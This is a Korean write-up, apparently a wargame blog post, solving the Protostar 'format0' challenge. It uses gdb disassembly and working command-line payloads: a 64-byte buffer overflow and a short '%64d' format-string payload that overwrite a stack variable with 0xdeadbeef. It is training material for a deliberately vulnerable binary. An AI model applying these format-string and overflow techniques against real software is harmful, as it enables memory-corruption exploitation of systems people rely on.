0x080483fa <vuln+6>: mov DWORD PTR [ebp-0xc],0x0
0x08048401 <vuln+13>: mov eax,DWORD PTR [ebp+0x8]
0x08048404 <vuln+16>: mov DWORD PTR [esp+0x4],eax
0x08048408 <vuln+20>: lea eax,[ebp-0x4c]
0x0804840b <vuln+23>: mov DWORD PTR [esp],eax
0x0804840e <vuln+26>: call 0x8048300 <sprintf@plt>
0x08048413 <vuln+31>: mov eax,DWORD PTR [ebp-0xc]
0x08048416 <vuln+34>: cmp eax,0xdeadbeef
0x0804841b <vuln+39>: jne 0x8048429 <vuln+53>
0x0804841d <vuln+41>: mov DWORD PTR [esp],0x8048510
0x08048424 <vuln+48>: call 0x8048330 <puts@plt>
0x08048429 <vuln+53>: leave
0x0804842a <vuln+54>: ret
End of assembler dump.
입력한 값은 ebp+0x8에 주소가 저장되어있고 ebp-0x4c에 저장됨.
ebp-0xc에 있는 값이랑 0xdeadbeef랑 비교한다고함
(gdb) x/10x $ebp-0xc
0xbffff75c: 0x00000000 0xb7fd8304 0xb7fd7ff4 0xbffff788
0xbffff76c: 0x08048444 0xbffff977 0xb7ff1040 0x0804846b
0xbffff77c: 0xb7fd7ff4 0x08048460
(gdb) x/x $ebp-0x4c
0xbffff71c: 0x41414141
대략 0x40바이트의 갭이 있음 즉 64바이트의 더미를 넣고 \xef\xbe\xad\xde를 넣어주면 풀리게 됨.
user@protostar:/opt/protostar/bin$ ./format0 `perl -e
'print "A"x64, "\xef\xbe\xad\xde"'`
you have hit the target correctly :)
근데 단순 bof문제가 아닌 format string을 응용해야하는 문제.. 다른 블로그 참고해봐도 10바이트 미만으로 페이로드를 쓰라고한다.
정확히는 10바이트 미만의 값이 input으로 전달되야한다.
따라서 다음과 같은 방법을 통해 풀 수 있다.
user@protostar:/opt/protostar/bin$ ./format0 `perl -e 'print "%64d\xef\xbe\xad\xde"'`
you have hit the target correctly :)
%64d를 이용해 sprintf를 위한 64바이트의 인자 공간을 확보함으로써 버퍼 공간을 채울 수 있기 때문이다.
이후엔 bof와 같은 방식으로 풀 수 있다.